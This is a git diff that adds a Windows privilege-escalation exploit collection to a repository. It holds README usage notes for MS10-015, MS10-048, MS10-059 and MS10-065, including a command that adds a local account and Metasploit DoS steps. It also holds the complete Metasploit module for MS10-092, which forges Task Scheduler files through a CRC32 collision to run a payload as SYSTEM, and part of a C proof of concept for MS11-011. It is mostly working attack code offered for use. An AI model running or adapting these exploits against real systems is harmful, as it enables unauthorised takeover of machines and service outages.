Lcamtuf, Spoonm, Skylined, asiraP, LiquidK, +ScaryBeasts, spender and all my other elite colleagues. + +Check out some photography while at ring0 http://flickr.com/meder. + +------------------- +References +----------------------- + +Derek Soeder has previously reported some legendary NT bugs, including multiple +vdm bugs that, while unrelated to this issue, make fascinating reading. + +- http://seclists.org/fulldisclosure/2004/Oct/404, Windows VDM #UD LocalPrivilege Escalation +- http://seclists.org/fulldisclosure/2004/Apr/477, Windows VDM TIB Local Privilege Escalation +- http://seclists.org/fulldisclosure/2007/Apr/357, Zero Page Race Condition Privilege Escalation + +------------------- +Appendix +----------------------- + +SHA-1 checksum of KiTrap0D.zip follows. + +-----BEGIN PGP SIGNED MESSAGE----- +Hash: SHA1 + +99a047427e9085d52aaddfc9214fd1a621534072 KiTrap0D.zip + +-----BEGIN PGP SIGNATURE----- +Version: GnuPG v1.4.5 (GNU/Linux) + +iQEVAwUBS1W6+RvyfE4zaHEXAQK//QgAvo/VhPdeASGe7SSfC3jLwNzsfVfM+FMo +x7JZMMfVUh6b/+FxvokIpsCUf7QQkv+YcyCiatutVjUok5aw5BirFtPLHORIIKPX +B5gN2a4G8RIXh5yKE6FffKGQsPJNW1Ua5Jss8rf59TEj3EDky1vco+WVmmz7TsHn +TQdUreVcL8wFmCAgq5X0AKrdepYDBmYLF0AUFOdG3mKJ43dnP59p9R7+ckv0pfLW +XtvOgzZDNMew4z2Z53YQpE7dO+Y3H3rnhLN7jF7i9We9iiG4ATDke8byFAIDZQZx +ucq5EOcRsfAAWW3O8EbzQa0NiHHScJrKDjvg0gX1Y69MBBwCLNP6yg== +=LHU0 +-----END PGP SIGNATURE----- + +-- +------------------------------------- +tavisosdf.lonestar.org | finger me for my gpg key. +------------------------------------------------------- \ No newline at end of file diff --git a/97-Windows提权/MS10-015/MS10-015.zip b/97-Windows提权/MS10-015/MS10-015.zip new file mode 100644 index 0000000..5f29bfd Binary files /dev/null and b/97-Windows提权/MS10-015/MS10-015.zip differ diff --git a/97-Windows提权/MS10-015/MS10-015KB977165-CVE-2010-0232-Ms-Viru.rar b/97-Windows提权/MS10-015/MS10-015KB977165-CVE-2010-0232-Ms-Viru.rar new file mode 100644 index 0000000..7b45c55 Binary files /dev/null and b/97-Windows提权/MS10-015/MS10-015KB977165-CVE-2010-0232-Ms-Viru.rar differ diff --git a/97-Windows提权/MS10-015/README.md b/97-Windows提权/MS10-015/README.md new file mode 100644 index 0000000..380256f --- /dev/null +++ b/97-Windows提权/MS10-015/README.md @@ -0,0 +1,35 @@ +# MS10-015 + +``` +This module will create a new session with SYSTEM privileges via the KiTrap0D exlpoit by Tavis Ormandy. +If the session is use is already elevated then the exploit will not run. +The module relies on kitrap0d.x86.dll, and is not supported on x64 editions of Windows. +``` +- The POC was from [@Offensive Security](https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/11199.zip) + +Vulnerability reference: + * [MS10-015](https://technet.microsoft.com/en-us/library/security/ms10-015.aspx) + * [CVE-2010-0232](https://www.exploit-db.com/exploits/11199/) + +## Usage +c:\\> vdmallowed.exe + +![win2003](win2003.png) + +## load the module within the Metasploit console +``` +msf > use exploit/windows/local/ms10_015_kitrap0d +msf exploit(ms10_015_kitrap0d) > show targets + ...targets... +msf exploit(ms10_015_kitrap0d) > set TARGET +msf exploit(ms10_015_kitrap0d) > show options + ...show and set options... +msf exploit(ms10_015_kitrap0d) > exploit + +``` + + +# Reference +- [http://www.7kb.org/520.html](http://www.7kb.org/520.html) + + diff --git a/97-Windows提权/MS10-015/screenshot.png b/97-Windows提权/MS10-015/screenshot.png new file mode 100644 index 0000000..40b0cca Binary files /dev/null and b/97-Windows提权/MS10-015/screenshot.png differ diff --git a/97-Windows提权/MS10-015/win2003.png b/97-Windows提权/MS10-015/win2003.png new file mode 100644 index 0000000..faa5b6b Binary files /dev/null and b/97-Windows提权/MS10-015/win2003.png differ diff --git a/97-Windows提权/MS10-048/2003.png b/97-Windows提权/MS10-048/2003.png new file mode 100644 index 0000000..b700244 Binary files /dev/null and b/97-Windows提权/MS10-048/2003.png differ diff --git a/97-Windows提权/MS10-048/README.md b/97-Windows提权/MS10-048/README.md new file mode 100644 index 0000000..b2e0490 --- /dev/null +++ b/97-Windows提权/MS10-048/README.md @@ -0,0 +1,25 @@ +# MS10-048 + +``` +The Windows kernel-mode drivers in win32k.sys in Microsoft Windows XP SP2 and SP3, +Windows Server 2003 SP2, Windows Vista SP1 and SP2, Windows Server 2008 Gold, SP2, and R2, and Windows 7 do not properly validate an unspecified system-call argument, +which allows local users to cause a denial of service (system hang) via a crafted application, +aka "Win32k Bounds Checking Vulnerability." +``` + +Vulnerability reference: + * [MS10-048](https://technet.microsoft.com/library/security/ms10-048) + * [CVE-2010-1887](http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1887) + + +## Usage +``` +c:\> x86.exe +``` +![2003](2003.png) + + + +## References +* [Windows x64下提权Exploit](https://www.secpulse.com/archives/1597.html) + diff --git a/97-Windows提权/MS10-048/ms10048/ms10048.exe b/97-Windows提权/MS10-048/ms10048/ms10048.exe new file mode 100644 index 0000000..823caee Binary files /dev/null and b/97-Windows提权/MS10-048/ms10048/ms10048.exe differ diff --git a/97-Windows提权/MS10-048/ms10048/ms10048X64.exe b/97-Windows提权/MS10-048/ms10048/ms10048X64.exe new file mode 100644 index 0000000..e1175d0 Binary files /dev/null and b/97-Windows提权/MS10-048/ms10048/ms10048X64.exe differ diff --git a/97-Windows提权/MS10-059/Churraskito_exe.zip b/97-Windows提权/MS10-059/Churraskito_exe.zip new file mode 100644 index 0000000..e989512 Binary files /dev/null and b/97-Windows提权/MS10-059/Churraskito_exe.zip differ diff --git a/97-Windows提权/MS10-059/MS10-059.exe b/97-Windows提权/MS10-059/MS10-059.exe new file mode 100644 index 0000000..894587d Binary files /dev/null and b/97-Windows提权/MS10-059/MS10-059.exe differ diff --git a/97-Windows提权/MS10-059/README.md b/97-Windows提权/MS10-059/README.md new file mode 100644 index 0000000..8ce0b4e --- /dev/null +++ b/97-Windows提权/MS10-059/README.md @@ -0,0 +1,18 @@ +# MS10-059 +``` +一些Windows应用中使用了 Tracing 功能记录调试信息。使用了这个 Tracing 功能的 Windows 进程会持续监控相关子键的变化，一旦注册表值发生了变化就会立即读取该值。 +其中的一个注册表值为 FileDirectory，包含有 Windows目录名。在Local System 账号运行的服务连接到管道时拥有扮演权限的本地用户可以通过扮演为 Local System 账号（或Administrator等特权账号）提升权限。 +注册表项对 Users 组开放了 Set Value 权限，因此任何通过认证的用户都可以设置任意值。 +``` + +Vulnerability reference: + * [MS10-059](https://technet.microsoft.com/library/security/ms10-059) + * [CVE-2010-2554](http://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2010-2554) + +## Usage +``` +c:\> Churraskito.exe "C:\windows\system32\cmd.exe" "net user 123 123 /add" +``` + +## References +[Windows Privilege Escalation Fundamentals](http://www.fuzzysecurity.com/tutorials/16.html) diff --git a/97-Windows提权/MS10-065/MS10-065-KB2124261-KB2271195-CVE-2010-1899-IIS7.zip b/97-Windows提权/MS10-065/MS10-065-KB2124261-KB2271195-CVE-2010-1899-IIS7.zip new file mode 100644 index 0000000..eb3a309 Binary files /dev/null and b/97-Windows提权/MS10-065/MS10-065-KB2124261-KB2271195-CVE-2010-1899-IIS7.zip differ diff --git a/97-Windows提权/MS10-065/README.md b/97-Windows提权/MS10-065/README.md new file mode 100644 index 0000000..6209f8d --- /dev/null +++ b/97-Windows提权/MS10-065/README.md @@ -0,0 +1,25 @@ +# MS10-065 +``` +Stack consumption vulnerability in the ASP implementation in Microsoft Internet Information Services +(IIS) 5.1, 6.0, 7.0, and 7.5 allows remote attackers to cause a denial of service (daemon outage) via a crafted request, +related to asp.dll, aka "IIS Repeated Parameter Request Denial of Service Vulnerability." +``` + +Vulnerability reference: + * [MS10-065](https://technet.microsoft.com/library/security/ms10-065) + * [CVE-2010-1899](http://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2010-1899) + * [exp-db](https://www.exploit-db.com/exploits/15167/) + + + +## load the module within the Metasploit +[msf](https://www.rapid7.com/db/modules/AUXILIARY/DOS/WINDOWS/HTTP/MS10_065_II6_ASP_DOS) +``` +msf > use auxiliary/dos/windows/http/ms10_065_ii6_asp_dos +msf auxiliary(ms10_065_ii6_asp_dos) > show actions + ...actions... +msf auxiliary(ms10_065_ii6_asp_dos) > set ACTION +msf auxiliary(ms10_065_ii6_asp_dos) > show options + ...show and set options... +msf auxiliary(ms10_065_ii6_asp_dos) > run +``` \ No newline at end of file diff --git a/97-Windows提权/MS10-092/CVE-2010-3338.wsf b/97-Windows提权/MS10-092/CVE-2010-3338.wsf new file mode 100644 index 0000000..0b4e6ed --- /dev/null +++ b/97-Windows提权/MS10-092/CVE-2010-3338.wsf @@ -0,0 +1,297 @@ +# Exploit Title: Windows Task Scheduler Privilege Escalation 0day +# Date: 20-11-2010 +# Author: webDEViL +# Tested on: Windows 7/2008 x86/x64 + + + + + + + + + diff --git a/97-Windows提权/MS10-092/Enviroment/FoxitReader411_enu_Setup.exe b/97-Windows提权/MS10-092/Enviroment/FoxitReader411_enu_Setup.exe new file mode 100644 index 0000000..e650068 Binary files /dev/null and b/97-Windows提权/MS10-092/Enviroment/FoxitReader411_enu_Setup.exe differ diff --git a/97-Windows提权/MS10-092/MS10-092.rb b/97-Windows提权/MS10-092/MS10-092.rb new file mode 100644 index 0000000..b7b4df2 --- /dev/null +++ b/97-Windows提权/MS10-092/MS10-092.rb @@ -0,0 +1,336 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + +require 'msf/core' +require 'msf/core/post/common' +require 'rex' +require 'zlib' + + +class Metasploit3 < Msf::Exploit::Local + + include Msf::Exploit::EXE + include Msf::Post::Common + include Msf::Post::File + + def initialize(info={}) + super(update_info(info, { + 'Name' => 'Windows Escalate Task Scheduler XML Privilege Escalation', + 'Description' => %q{ + This module exploits the Task Scheduler 2.0 XML 0day exploited by Stuxnet. + When processing task files, the Windows Task Scheduler only uses a CRC32 + checksum to validate that the file has not been tampered with. Also, In a default + configuration, normal users can read and write the task files that they have + created. By modifying the task file and creating a CRC32 collision, an attacker + can execute arbitrary commands with SYSTEM privileges. + + NOTE: Thanks to webDEViL for the information about disable/enable. + }, + 'License' => MSF_LICENSE, + 'Author' => [ 'jduck' ], + 'Version' => '$Revision$', + 'Arch' => [ ARCH_X86, ARCH_X86_64 ], + 'Platform' => [ 'windows' ], + 'SessionTypes' => [ 'meterpreter' ], + 'Targets' => + [ + [ 'Windows Vista, 7, and 2008', {} ], + ], + 'References' => + [ + [ 'OSVDB', '68518' ], + [ 'CVE', '2010-3338' ], + [ 'BID', '44357' ], + [ 'MSB', 'MS10-092' ], + [ 'EDB', 15589 ] + ], + 'DisclosureDate'=> 'Sep 13 2010', + 'DefaultTarget' => 0 + })) + + register_options([ + OptString.new("CMD", [ false, "Command to execute instead of a payload" ]), + OptString.new("TASKNAME", [ false, "A name for the created task (default random)" ]), + ]) + + end + + def check + vuln = false + winver = sysinfo["OS"] + affected = [ 'Windows Vista', 'Windows 7', 'Windows 2008' ] + affected.each { |v| + if winver.include? v + vuln = true + break + end + } + if not vuln + return Exploit::CheckCode::Safe + end + + return Exploit::CheckCode::Appears + end + + def exploit + if sysinfo["Architecture"] =~ /wow64/i + # + # WOW64 Filesystem Redirection prevents us opening the file directly. To make matters + # worse, meterpreter/railgun creates things in a new thread, making it much more + # difficult to disable via Wow64EnableWow64FsRedirection. Until we can get around this, + # offer a workaround and error out. + # + print_error("Running against via WOW64 is not supported, try using an x64 meterpreter...") + return + end + + if check == Exploit::CheckCode::Safe + print_error("#{winver} is not vulnerable.") + return + end + + taskname = datastore["TASKNAME"] || nil + cmd = datastore["CMD"] || nil + upload_fn = nil + + tempdir = session.fs.file.expand_path("%TEMP%") + if not cmd + # Get the exe payload. + exe = generate_payload_exe + #and placing it on the target in %TEMP% + tempexename = Rex::Text.rand_text_alpha(rand(8)+6) + cmd = tempdir + "\\" + tempexename + ".exe" + + print_status("Preparing payload at #{cmd}") + write_file(cmd, exe) + else + print_status("Using command: #{cmd}") + end + + # + # Create a new task to do our bidding, but make sure it doesn't run. + # + taskname ||= Rex::Text.rand_text_alphanumeric(8+rand(8)) + sysdir = session.fs.file.expand_path("%SystemRoot%") + taskfile = "#{sysdir}\\system32\\tasks\\#{taskname}" + + print_status("Creating task: #{taskname}") + cmdline = "schtasks.exe /create /tn #{taskname} /tr \"#{cmd}\" /sc monthly /f" +# print_debug("Will Execute:\n\t#{cmdline}") + exec_schtasks(cmdline, "create the task") + + # + # Read the contents of the newly creates task file + # + content = read_task_file(taskname, taskfile) + + # + # Double-check that we got what we expect. + # + if content[0,2] != "\xff\xfe" + # + # Convert to unicode, since it isn't already + # + content = content.unpack('C*').pack('v*') + else + # + # NOTE: we strip the BOM here to exclude it from the crc32 calculation + # + content = content[2,content.length] + end + + + # + # Record the crc32 for later calculations + # + old_crc32 = crc32(content) + print_status("Original CRC32: 0x%x" % old_crc32) + + # + # Convert the file contents from unicode + # + content = content.unpack('v*').pack('C*') + + # + # Mangle the contents to now run with SYSTEM privileges + # + content.gsub!('LeastPrivilege', 'HighestAvailable') + content.gsub!(/.*<\/UserId>/, 'S-1-5-18') + content.gsub!(/.*<\/Author>/, 'S-1-5-18') + #content.gsub!('InteractiveToken', 'Password') + content.gsub!('Principal id="Author"', 'Principal id="LocalSystem"') + content.gsub!('Actions Context="Author"', 'Actions Context="LocalSystem"') + content << "" + + # + # Convert it back to unicode + # + content = Rex::Text.to_unicode(content) + + # + # Fix it so the CRC matches again + # + fix_crc32(content, old_crc32) + new_crc32 = crc32(content) + print_status("Final CRC32: 0x%x" % new_crc32) + + # + # Write the new content back + # + print_status("Writing our modified content back...") + fd = session.fs.file.new(taskfile, "wb") + fd.write "\xff\xfe" + content + fd.close + + # + # Validate our results + # + print_status("Validating task: #{taskname}") + exec_schtasks("schtasks.exe /query /tn #{taskname}", "validate the task") + + # + # Run the task :-) + # + print_status("Disabling the task...") + exec_schtasks("schtasks.exe /change /tn #{taskname} /disable", "disable the task") + + print_status("Enabling the task...") + exec_schtasks("schtasks.exe /change /tn #{taskname} /enable", "enable the task") + + print_status("Executing the task...") + exec_schtasks("schtasks.exe /run /tn #{taskname}", "run the task") + + + # + # And delete it. + # + print_status("Deleting the task...") + exec_schtasks("schtasks.exe /delete /f /tn #{taskname}", "delete the task") + end + + def crc32(data) + table = Zlib.crc_table + crc = 0xffffffff + data.unpack('C*').each { |b| + crc = table[(crc & 0xff) ^ b] ^ (crc >> 8) + } + crc + end + + def fix_crc32(data, old_crc) + # + # CRC32 stuff from ESET (presumably reversed from Stuxnet, which was presumably + # reversed from Microsoft's code) + # + bwd_table = [ + 0x00000000, 0xDB710641, 0x6D930AC3, 0xB6E20C82, + 0xDB261586, 0x005713C7, 0xB6B51F45, 0x6DC41904, + 0x6D3D2D4D, 0xB64C2B0C, 0x00AE278E, 0xDBDF21CF, + 0xB61B38CB, 0x6D6A3E8A, 0xDB883208, 0x00F93449, + 0xDA7A5A9A, 0x010B5CDB, 0xB7E95059, 0x6C985618, + 0x015C4F1C, 0xDA2D495D, 0x6CCF45DF, 0xB7BE439E, + 0xB74777D7, 0x6C367196, 0xDAD47D14, 0x01A57B55, + 0x6C616251, 0xB7106410, 0x01F26892, 0xDA836ED3, + 0x6F85B375, 0xB4F4B534, 0x0216B9B6, 0xD967BFF7, + 0xB4A3A6F3, 0x6FD2A0B2, 0xD930AC30, 0x0241AA71, + 0x02B89E38, 0xD9C99879, 0x6F2B94FB, 0xB45A92BA, + 0xD99E8BBE, 0x02EF8DFF, 0xB40D817D, 0x6F7C873C, + 0xB5FFE9EF, 0x6E8EEFAE, 0xD86CE32C, 0x031DE56D, + 0x6ED9FC69, 0xB5A8FA28, 0x034AF6AA, 0xD83BF0EB, + 0xD8C2C4A2, 0x03B3C2E3, 0xB551CE61, 0x6E20C820, + 0x03E4D124, 0xD895D765, 0x6E77DBE7, 0xB506DDA6, + 0xDF0B66EA, 0x047A60AB, 0xB2986C29, 0x69E96A68, + 0x042D736C, 0xDF5C752D, 0x69BE79AF, 0xB2CF7FEE, + 0xB2364BA7, 0x69474DE6, 0xDFA54164, 0x04D44725, + 0x69105E21, 0xB2615860, 0x048354E2, 0xDFF252A3, + 0x05713C70, 0xDE003A31, 0x68E236B3, 0xB39330F2, + 0xDE5729F6, 0x05262FB7, 0xB3C42335, 0x68B52574, + 0x684C113D, 0xB33D177C, 0x05DF1BFE, 0xDEAE1DBF, + 0xB36A04BB, 0x681B02FA, 0xDEF90E78, 0x05880839, + 0xB08ED59F, 0x6BFFD3DE, 0xDD1DDF5C, 0x066CD91D, + 0x6BA8C019, 0xB0D9C658, 0x063BCADA, 0xDD4ACC9B, + 0xDDB3F8D2, 0x06C2FE93, 0xB020F211, 0x6B51F450, + 0x0695ED54, 0xDDE4EB15, 0x6B06E797, 0xB077E1D6, + 0x6AF48F05, 0xB1858944, 0x076785C6, 0xDC168387, + 0xB1D29A83, 0x6AA39CC2, 0xDC419040, 0x07309601, + 0x07C9A248, 0xDCB8A409, 0x6A5AA88B, 0xB12BAECA, + 0xDCEFB7CE, 0x079EB18F, 0xB17CBD0D, 0x6A0DBB4C, + 0x6567CB95, 0xBE16CDD4, 0x08F4C156, 0xD385C717, + 0xBE41DE13, 0x6530D852, 0xD3D2D4D0, 0x08A3D291, + 0x085AE6D8, 0xD32BE099, 0x65C9EC1B, 0xBEB8EA5A, + 0xD37CF35E, 0x080DF51F, 0xBEEFF99D, 0x659EFFDC, + 0xBF1D910F, 0x646C974E, 0xD28E9BCC, 0x09FF9D8D, + 0x643B8489, 0xBF4A82C8, 0x09A88E4A, 0xD2D9880B, + 0xD220BC42, 0x0951BA03, 0xBFB3B681, 0x64C2B0C0, + 0x0906A9C4, 0xD277AF85, 0x6495A307, 0xBFE4A546, + 0x0AE278E0, 0xD1937EA1, 0x67717223, 0xBC007462, + 0xD1C46D66, 0x0AB56B27, 0xBC5767A5, 0x672661E4, + 0x67DF55AD, 0xBCAE53EC, 0x0A4C5F6E, 0xD13D592F, + 0xBCF9402B, 0x6788466A, 0xD16A4AE8, 0x0A1B4CA9, + 0xD098227A, 0x0BE9243B, 0xBD0B28B9, 0x667A2EF8, + 0x0BBE37FC, 0xD0CF31BD, 0x662D3D3F, 0xBD5C3B7E, + 0xBDA50F37, 0x66D40976, 0xD03605F4, 0x0B4703B5, + 0x66831AB1, 0xBDF21CF0, 0x0B101072, 0xD0611633, + 0xBA6CAD7F, 0x611DAB3E, 0xD7FFA7BC, 0x0C8EA1FD, + 0x614AB8F9, 0xBA3BBEB8, 0x0CD9B23A, 0xD7A8B47B, + 0xD7518032, 0x0C208673, 0xBAC28AF1, 0x61B38CB0, + 0x0C7795B4, 0xD70693F5, 0x61E49F77, 0xBA959936, + 0x6016F7E5, 0xBB67F1A4, 0x0D85FD26, 0xD6F4FB67, + 0xBB30E263, 0x6041E422, 0xD6A3E8A0, 0x0DD2EEE1, + 0x0D2BDAA8, 0xD65ADCE9, 0x60B8D06B, 0xBBC9D62A, + 0xD60DCF2E, 0x0D7CC96F, 0xBB9EC5ED, 0x60EFC3AC, + 0xD5E91E0A, 0x0E98184B, 0xB87A14C9, 0x630B1288, + 0x0ECF0B8C, 0xD5BE0DCD, 0x635C014F, 0xB82D070E, + 0xB8D43347, 0x63A53506, 0xD5473984, 0x0E363FC5, + 0x63F226C1, 0xB8832080, 0x0E612C02, 0xD5102A43, + 0x0F934490, 0xD4E242D1, 0x62004E53, 0xB9714812, + 0xD4B55116, 0x0FC45757, 0xB9265BD5, 0x62575D94, + 0x62AE69DD, 0xB9DF6F9C, 0x0F3D631E, 0xD44C655F, + 0xB9887C5B, 0x62F97A1A, 0xD41B7698, 0x0F6A70D9 + ] + + crc = crc32(data[0, data.length - 12]) + data[-12, 4] = [crc].pack('V') + + data[-12, 12].unpack('C*').reverse.each { |b| + old_crc = ((old_crc << 8) ^ bwd_table[old_crc >> 24] ^ b) & 0xffffffff + } + data[-12, 4] = [old_crc].pack('V') + end + + def exec_schtasks(cmdline, purpose) + cmdline = "/c #{cmdline.strip} && echo SCHELEVATOR" + lns = cmd_exec('cmd.exe', cmdline) + + success = false + lns.each_line { |ln| + ln.chomp! + if ln =~ /^SUCCESS\:\s/ + success = true + print_status(ln) + else + print_status(ln) + end + } + end + + + def read_task_file(taskname, taskfile) + print_status("Reading the task file contents from #{taskfile}...") + + # Can't read the file directly on 2008? + content = '' + fd = session.fs.file.new(taskfile, "rb") + until fd.eof? + content << fd.read + end + fd.close + + content + end + +end diff --git a/97-Windows提权/MS10-092/README.md b/97-Windows提权/MS10-092/README.md new file mode 100644 index 0000000..1503e3f --- /dev/null +++ b/97-Windows提权/MS10-092/README.md @@ -0,0 +1,32 @@ +# MS10-092 +- Windows Task Scheduler Privilege Escalation +``` +This module exploits the Task Scheduler 2.0 XML 0day exploited by Stuxnet. +When processing task files, the Windows Task Scheduler only uses a CRC32 checksum to validate that the file has not been tampered with. +Also, In a default configuration, normal users can read and write the task files that they have created. +By modifying the task file and creating a CRC32 collision, an attacker can execute arbitrary commands with SYSTEM privileges. +NOTE: Thanks to webDEViL for the information about disable/enable. +``` +- The exp was from [@webDEViL](https://www.exploit-db.com/author/?a=587) + +Vulnerability reference: + * [MS10-092](https://technet.microsoft.com/library/security/ms10-092) + * [CVE-2010-3338](https://www.exploit-db.com/exploits/15589/) + * [Task Scheduler '.XML' Privilege Escalation](https://www.exploit-db.com/exploits/19930/) + +## Usage +[MS10-092-YouTube](https://www.youtube.com/watch?v=gd-F1dlWBAw) + + + +## load the module within the Metasploit +[msf](https://www.rapid7.com/db/modules/exploit/windows/local/ms10_092_schelevator) +``` +msf > use exploit/windows/local/ms10_092_schelevator +msf exploit(ms10_092_schelevator) > show targets + ...targets... +msf exploit(ms10_092_schelevator) > set TARGET +msf exploit(ms10_092_schelevator) > show options + ...show and set options... +msf exploit(ms10_092_schelevator) > exploit +``` \ No newline at end of file diff --git a/97-Windows提权/MS11-011/16262.c b/97-Windows提权/MS11-011/16262.c new file mode 100644 index 0000000..f350ce8 --- /dev/null +++ b/97-Windows提权/MS11-011/16262.c @@ -0,0 +1,464 @@ +/* +# Exploit Title: MS11-011(CVE-2011-0045): MS Windows XP WmiTraceMessageVa Integer Truncation Vulnerability PoC +# Date: 2011-03-01 +# Author: Nikita Tarakanov (CISS Research Team) +# Software Link: +# Version: prior to MS11-011 +# Tested on: Win XP SP3 +# CVE : CVE-2011-0045 +# Status : Patched +# Binary Analysis: http://cissrt.blogspot.com/2011/02/cve-2011-0045-ms-windows-xp.html +*/ + + + + +#include +#include +#include +#include +#include +#include + + + + +#define WmiTraceMessageCode 40 +#define WmiCreateUMLogger 84 +#define WmiStartLoggerCode 32 + +#define IOCTL_WMI_TRACE_MESSAGE \ + CTL_CODE(FILE_DEVICE_UNKNOWN, WmiTraceMessageCode, +METHOD_NEITHER, FILE_WRITE_ACCESS) + +/* +#define CTL_CODE( DeviceType, Function, Method, Access ) ( \ + ((DeviceType) << 16) | ((Access) << 14) | ((Function) << 2) | (Method) \ +) + +#define IOCTL_WMI_TRACE_MESSAGE \ + CTL_CODE(FILE_DEVICE_UNKNOWN, WmiTraceMessageCode, +METHOD_NEITHER, FILE_WRITE_ACCESS) + +#define IOCTL_WMI_CREATE_UM_LOGGER CTL_CODE(FILE_DEVICE_UNKNOWN, +WmiCreateUMLogger, METHOD_BUFFERED, FILE_READ_ACCESS) + +#define IOCTL_WMI_START_LOGGER \ + CTL_CODE(FILE_DEVICE_UNKNOWN, WmiStartLoggerCode, +METHOD_BUFFERED, FILE_ANY_ACCESS) + + + +typedef struct _UNICODE_STRING { + USHORT Length; + USHORT MaximumLength; + PWSTR Buffer; +} UNICODE_STRING; +typedef UNICODE_STRING *PUNICODE_STRING; + +typedef struct _STRING64 { + USHORT Length; + USHORT MaximumLength; + ULONGLONG Buffer; +} STRING64; +typedef STRING64 *PSTRING64; + +typedef STRING64 UNICODE_STRING64; +typedef UNICODE_STRING64 *PUNICODE_STRING64; + + +// +// WNODE definition +typedef struct _WNODE_HEADER +{ + ULONG BufferSize; // Size of entire buffer inclusive of this +ULONG + ULONG ProviderId; // Provider Id of driver returning this buffer + union + { + ULONG64 HistoricalContext; // Logger use + struct + { + ULONG Version; // Reserved + ULONG Linkage; // Linkage field reserved for WMI + }; + }; + + union + { + ULONG CountLost; // Reserved + HANDLE KernelHandle; // Kernel handle for data block + LARGE_INTEGER TimeStamp; // Timestamp as returned in units of 100ns + // since 1/1/1601 + }; + GUID Guid; // Guid for data block returned with results + ULONG ClientContext; + ULONG Flags; // Flags, see below +} WNODE_HEADER, *PWNODE_HEADER; + +// +// Logger configuration and running statistics. This structure is used +// by WMI.DLL to convert to UNICODE_STRING +// +// begin_wmikm +typedef struct _WMI_LOGGER_INFORMATION { + WNODE_HEADER Wnode; // Had to do this since wmium.h comes later +// +// data provider by caller + ULONG BufferSize; // buffer size for logging (in +kbytes) + ULONG MinimumBuffers; // minimum to preallocate + ULONG MaximumBuffers; // maximum buffers allowed + ULONG MaximumFileSize; // maximum logfile size (in MBytes) + ULONG LogFileMode; // sequential, circular + ULONG FlushTimer; // buffer flush timer, in seconds + ULONG EnableFlags; // trace enable flags + LONG AgeLimit; // aging decay time, in minutes + ULONG Wow; // TRUE if the logger started +under WOW64 + union { + HANDLE LogFileHandle; // handle to logfile + ULONG64 LogFileHandle64; + }; + +// data returned to caller +// end_wmikm + union { +// begin_wmikm + ULONG NumberOfBuffers; // no of buffers in use +// end_wmikm + ULONG InstanceCount; // Number of Provider Instances + }; + union { +// begin_wmikm + ULONG FreeBuffers; // no of buffers free +// end_wmikm + ULONG InstanceId; // Current Provider's Id for +UmLogger + }; + union { +// begin_wmikm + ULONG EventsLost; // event records lost +// end_wmikm + ULONG NumberOfProcessors; // Passed on to UmLogger + }; +// begin_wmikm + ULONG BuffersWritten; // no of buffers written to file + ULONG LogBuffersLost; // no of logfile write failures + ULONG RealTimeBuffersLost; // no of rt delivery failures + union { + HANDLE LoggerThreadId; // thread id of Logger + ULONG64 LoggerThreadId64; // thread is of Logger + }; + union { + UNICODE_STRING LogFileName; // used only in WIN64 + UNICODE_STRING64 LogFileName64; // Logfile name: only in WIN32 + }; + +// mandatory data provided by caller + union { + UNICODE_STRING LoggerName; // Logger instance name in WIN64 + UNICODE_STRING64 LoggerName64; // Logger Instance name in WIN32 + }; + +// private + union { + PVOID Checksum; + ULONG64 Checksum64; + }; + union { + PVOID LoggerExtension; + ULONG64 LoggerExtension64; + }; +} WMI_LOGGER_INFORMATION, *PWMI_LOGGER_INFORMATION; + +*/ + +typedef struct _WMI_TRACE_MESSAGE_PACKET { // must be ULONG!! + USHORT MessageNumber; // The message Number, index +of messages by GUID + // Or ComponentID + USHORT OptionFlags ; // Flags associated with the +message +} WMI_TRACE_MESSAGE_PACKET, *PWMI_TRACE_MESSAGE_PACKET; + +typedef struct _MESSAGE_TRACE_HEADER { + union { + ULONG Marker; + struct { + USHORT Size; // Total Size of the +message including header + UCHAR Reserved; // Unused and reserved + UCHAR Version; // The message structure +type (TRACE_MESSAGE_FLAG) + }; + }; + union { + ULONG Header; // both sizes must be the same! + WMI_TRACE_MESSAGE_PACKET Packet; + }; +} MESSAGE_TRACE_HEADER, *PMESSAGE_TRACE_HEADER; + +typedef struct _MESSAGE_TRACE { + MESSAGE_TRACE_HEADER MessageHeader ; + UCHAR Data ; +} MESSAGE_TRACE, *PMESSAGE_TRACE ; + +// +// Structure used to pass user log messages to the kernel +// +typedef struct _MESSAGE_TRACE_USER { + MESSAGE_TRACE_HEADER MessageHeader ; + ULONG MessageFlags ; + ULONG64 LoggerHandle ; + GUID MessageGuid ; + ULONG DataSize ; + UCHAR Data ; +} MESSAGE_TRACE_USER, *PMESSAGE_TRACE_USER ; + +/* + + +typedef struct _OBJECT_ATTRIBUTES { + ULONG Length; + HANDLE RootDirectory; + PUNICODE_STRING ObjectName; + ULONG Attributes; + PVOID SecurityDescriptor; // Points to type SECURITY_DESCRIPTOR + PVOID SecurityQualityOfService; // Points to type +SECURITY_QUALITY_OF_SERVICE +} OBJECT_ATTRIBUTES; +typedef OBJECT_ATTRIBUTES *POBJECT_ATTRIBUTES; + +typedef union +{ + HANDLE Handle; + ULONG64 Handle64; + ULONG32 Handle32; +} HANDLE3264, *PHANDLE3264; + +typedef struct +{ + IN POBJECT_ATTRIBUTES ObjectAttributes; + IN GUID ControlGuid; + OUT HANDLE3264 ReplyHandle; + OUT ULONG ReplyCount; +} WMICREATEUMLOGGER, *PWMICREATEUMLOGGER; + +*/ + +//#define LOGFILE_PATH L"" +#define LOGFILE_PATH L"test.etl" +//#define LOGSESSION_NAME L"My Event Trace Session" +#define LOGSESSION_NAME L"test" + +// GUID that identifies your trace session. +// Remember to create your own session GUID. + +// {94BE0BF2-885F-4972-8461-A7D83B53F1AD} +static const GUID SessionGuid = +{ 0x94be0bf2, 0x885f, 0x4972, { 0x84, 0x61, 0xa7, 0xd8, 0x3b, 0x53, +0xf1, 0xad } }; + +// GUID that identifies the provider that you want +// to enable to your session. + +// {7C214FB1-9CAC-4b8d-BAED-7BF48BF63BB3} +static const GUID ProviderGuid = +{ 0x7c214fb1, 0x9cac, 0x4b8d, { 0xba, 0xed, 0x7b, 0xf4, 0x8b, 0xf6, +0x3b, 0xb3 } }; + +int trigger(HANDLE hDevice); +int start_usermode_logger(HANDLE hDevice); +int start_logger(HANDLE hDevice); +HANDLE open_device(); + +int main(int argc, char **argv) +{ + 